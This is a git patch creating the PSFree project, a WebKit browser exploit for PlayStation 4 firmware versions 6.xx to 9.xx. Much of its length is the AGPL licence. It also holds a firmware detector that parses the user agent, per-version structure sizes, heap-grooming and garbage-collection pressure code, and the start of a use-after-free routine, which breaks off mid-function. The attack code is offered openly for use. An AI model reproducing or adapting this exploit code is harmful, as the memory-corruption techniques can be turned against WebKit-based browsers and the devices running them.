From 5eeada1fd554451a43109f29ccf6e36d2573da80 Mon Sep 17 00:00:00 2001 From: Kameleon <77245601+kmeps4@users.noreply.github.com> Date: Mon, 25 Dec 2023 00:51:26 -0600 Subject: [PATCH] PSFree Beta3 Added PS4 Firmware Detection --- COPYING | 661 +++++++++++++++++++++++++++++++++ about.html | 88 +++++ alert.mjs | 38 ++ config.mjs | 90 +++++ exploit.mjs | 843 +++++++++++++++++++++++++++++++++++++++++++ index.html | 31 ++ module/chain.mjs | 189 ++++++++++ module/constants.mjs | 20 + module/int64.mjs | 193 ++++++++++ module/mem.mjs | 253 +++++++++++++ module/memtools.mjs | 225 ++++++++++++ module/offset.mjs | 35 ++ module/rw.mjs | 105 ++++++ module/utils.mjs | 75 ++++ 14 files changed, 2846 insertions(+) create mode 100644 COPYING create mode 100644 about.html create mode 100644 alert.mjs create mode 100644 config.mjs create mode 100644 exploit.mjs create mode 100644 index.html create mode 100644 module/chain.mjs create mode 100644 module/constants.mjs create mode 100644 module/int64.mjs create mode 100644 module/mem.mjs create mode 100644 module/memtools.mjs create mode 100644 module/offset.mjs create mode 100644 module/rw.mjs create mode 100644 module/utils.mjs diff --git a/COPYING b/COPYING new file mode 100644 index 0000000..be3f7b2 --- /dev/null +++ b/COPYING @@ -0,0 +1,661 @@ + GNU AFFERO GENERAL PUBLIC LICENSE + Version 3, 19 November 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU Affero General Public License is a free, copyleft license for +software and other kinds of works, specifically designed to ensure +cooperation with the community in the case of network server software. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +our General Public Licenses are intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + Developers that use our General Public Licenses protect your rights +with two steps: (1) assert copyright on the software, and (2) offer +you this License which gives you legal permission to copy, distribute +and/or modify the software. + + A secondary benefit of defending all users' freedom is that +improvements made in alternate versions of the program, if they +receive widespread use, become available for other developers to +incorporate. Many developers of free software are heartened and +encouraged by the resulting cooperation. However, in the case of +software used on network servers, this result may fail to come about. +The GNU General Public License permits making a modified version and +letting the public access it on a server without ever releasing its +source code to the public. + + The GNU Affero General Public License is designed specifically to +ensure that, in such cases, the modified source code becomes available +to the community. It requires the operator of a network server to +provide the source code of the modified version running there to the +users of that server. Therefore, public use of a modified version, on +a publicly accessible server, gives the public access to the source +code of the modified version. + + An older license, called the Affero General Public License and +published by Affero, was designed to accomplish similar goals. This is +a different license, not a version of the Affero GPL, but Affero has +released a new version of the Affero GPL which permits relicensing under +this license. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU Affero General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Remote Network Interaction; Use with the GNU General Public License. + + Notwithstanding any other provision of this License, if you modify the +Program, your modified version must prominently offer all users +interacting with it remotely through a computer network (if your version +supports such interaction) an opportunity to receive the Corresponding +Source of your version by providing access to the Corresponding Source +from a network server at no charge, through some standard or customary +means of facilitating copying of software. This Corresponding Source +shall include the Corresponding Source for any work covered by version 3 +of the GNU General Public License that is incorporated pursuant to the +following paragraph. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the work with which it is combined will remain governed by version +3 of the GNU General Public License. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU Affero General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU Affero General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU Affero General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU Affero General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU Affero General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Affero General Public License for more details. + + You should have received a copy of the GNU Affero General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If your software can interact with users remotely through a computer +network, you should also make sure that it provides a way for users to +get its source. For example, if your program is a web application, its +interface could display a "Source" link that leads users to an archive +of the code. There are many ways you could offer source, and different +solutions will be better for different programs; see section 13 for the +specific requirements. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU AGPL, see +. diff --git a/about.html b/about.html new file mode 100644 index 0000000..97d6a76 --- /dev/null +++ b/about.html @@ -0,0 +1,88 @@ + + + + + About PSFree + + + PSFree is a WebKit exploit for PS4 Firmware 8.03.
+ PSFree is free software. See COPYING for the copyleft information.
+ Here is the source code of this program:
+
+ HTML files:
+ index.html
+ about.html
+ JavaScript files:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
alert.mjsGNU-AGPL-3.0-or-laterdownload
config.mjsGNU-AGPL-3.0-or-laterdownload
run.mjsGNU-AGPL-3.0-or-laterdownload
rop.mjsGNU-AGPL-3.0-or-laterdownload
exploit.mjsGNU-AGPL-3.0-or-laterdownload
module/chain.mjsGNU-AGPL-3.0-or-laterdownload
module/int64.mjsGNU-AGPL-3.0-or-laterdownload
module/constants.mjsGNU-AGPL-3.0-or-laterdownload
module/memtools.mjsGNU-AGPL-3.0-or-laterdownload
module/utils.mjsGNU-AGPL-3.0-or-laterdownload
module/rw.mjsGNU-AGPL-3.0-or-laterdownload
module/offset.mjsGNU-AGPL-3.0-or-laterdownload
module/mem.mjsGNU-AGPL-3.0-or-laterdownload
+ + diff --git a/alert.mjs b/alert.mjs new file mode 100644 index 0000000..348a541 --- /dev/null +++ b/alert.mjs @@ -0,0 +1,38 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// We can't just open a console on the ps4 browser, make sure the errors thrown +// by our modules are alerted. We use alert() instead of debug_log() because +// while we are developing, we may modify the utils.mjs module and introduce +// bugs. We can not use debug_log() if it throws an error. +// +// We added this new file instead of putting this on run.mjs, so we can ensure +// we can attach this listener first before running anything. +addEventListener('unhandledrejection', (event) => { + const reason = event.reason; + // We log the line and column numbers as well since some exceptions (like + // SyntaxError) do not show it in the stack trace. + alert( + `${reason}\n` + + `${reason.sourceURL}:${reason.line}:${reason.column}\n` + + `${reason.stack}` + ); + throw reason; +}) + +// important that we dynamically import the exploit script after we attach +import('./exploit.mjs'); diff --git a/config.mjs b/config.mjs new file mode 100644 index 0000000..048a6b2 --- /dev/null +++ b/config.mjs @@ -0,0 +1,90 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// webkitgtk 2.34.4 was used to develop the portable parts of the exploit +// before moving on to ps4 8.03 +// +// webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable +// can affect the size of SerializedScriptValue +// +// this target is no longer supported +// +//export const gtk_2_34_4 = 0; + +// the original target platform was 8.03, this version confirmed works on ps4 +// 7.xx-8.xx +export const ps4_8_03 = 1; + +// this version for 9.xx +export const ps4_9_00 = 2; + +// version 9.xx is for ps5 1.xx-5.xx as well +export const ps5_5_00 = ps4_9_00; + +// this version for 6.50-6.72 +export const ps4_6_50 = 3; + +// this version for 6.00-6.20 +export const ps4_6_00 = 4; + +export function set_target(value) { + switch (value) { + case ps4_8_03: + case ps4_9_00: + case ps4_6_00: + case ps4_6_50: { + break; + } + default: { + throw RangeError('invalid target: ' + target); + } + } + + target = value; +} + +function DetectFirmwareVersion() +{ + var UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("PlayStation 4/",""); + + if (UA == "6.00" || UA == "6.02" || UA == "6.10" || UA == "6.20") + { + return ps4_6_00; + } + + if (UA == "6.50" || UA == "6.70" || UA == "6.71" || UA == "6.72") + { + return ps4_6_50; + } + + if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.00" || UA == "8.01" || UA == "8.03" || UA == "8.50") + { + return ps4_8_03; + } + + //on 9.00 Fw deection changed to laysation insead of regular Playsation + UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/",""); + + + if (UA == "9.00" || UA == "9.03" || UA == "9.04" || UA == "9.50" || UA == "9.60") + { + return ps4_9_00; + } + +} + +export let target = DetectFirmwareVersion(); diff --git a/exploit.mjs b/exploit.mjs new file mode 100644 index 0000000..6173e0c --- /dev/null +++ b/exploit.mjs @@ -0,0 +1,843 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import * as config from './config.mjs'; + +import { + read32, + read64, + write32, + write64, + sread64, +} from './module/rw.mjs'; + +import * as o from './module/offset.mjs'; + +import { Int } from './module/int64.mjs'; +import { Memory, Memory2 } from './module/mem.mjs'; + +import { + die, + debug_log, + clear_log, + str2array, +} from './module/utils.mjs'; + +const ssv_len = (() => { + switch (config.target) { + case config.ps4_6_00: { + return 0x58; + } + case config.ps4_9_00: { + return 0x50; + } + case config.ps4_6_50: + case config.ps4_8_03: { + return 0x48; + } + default: { + throw RangeError('invalid config.target: ' + config.target); + } + } +})(); + +const num_reuse = 0x4000; + +// size of JSArrayBufferView +const original_strlen = ssv_len - o.size_strimpl; +const buffer_len = 0x20; +// make sure this is large enough to ensure that enough strings will +// occupy any gaps in in the relative read area so when are trying to leak the +// JSArrayBufferView we won't hit any unmapped areas +const num_str = 0x4000; +const num_gc = 30; +const num_space = 19; +const original_loc = window.location.pathname; +const loc = original_loc + '#foo'; + +// this variable has to be global for the leak to work +let rstr = null; +// this variable has to be global so that the exploit is more likely to succeed +let view_leak_arr = []; +// These variables need to be global because we theorize there are +// optimizations between local and global variables. +// We don't know what optimizations these are but it is messing with us. + +// contents of the JSArrayBufferView +// 3rd element is the address of the buffer of the JSArrayBufferView +let jsview = []; + +// objects for saving values +let s1 = {views : []}; +let s2 = {views : []}; +let view_leak = null; +let view_rw = null; + +let input = document.body.appendChild(document.createElement("input")); +let foo = document.body.appendChild(document.createElement("a")); +foo.id = "foo"; + +// The theory is that the allocator and garbage collector (GC) cooperate in +// serving allocation requests. The GC knows if there are any garbage that can +// be collected, to free up memory for requests. If the allocator can't serve a +// request, it will ask the GC to perform a garbage collection. +// +// If even after a garbage colllection, there is still no memory left for +// allocation, then the process will request the operating system to increase +// its heap size. +// +// We loop a couple of times by num_loop in allocating memory and dropping +// references to it. Even though we dropped the references immediately, memory +// consumption will still grow, since garbage is not immediately collected. +// Hopefully one of the requests will force the allocator to yield to the GC. +let pressure = null; +function gc(num_loop) { + pressure = Array(100); + for (let i = 0; i < num_loop; i++) { + for (let i = 0; i < pressure.length; i++) { + pressure[i] = new Uint32Array(0x40000); + } + pressure = Array(100); + } + pressure = null; +} + +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +function prepare_uaf() { + // don't want any state0 near state1 + history.pushState('state0', 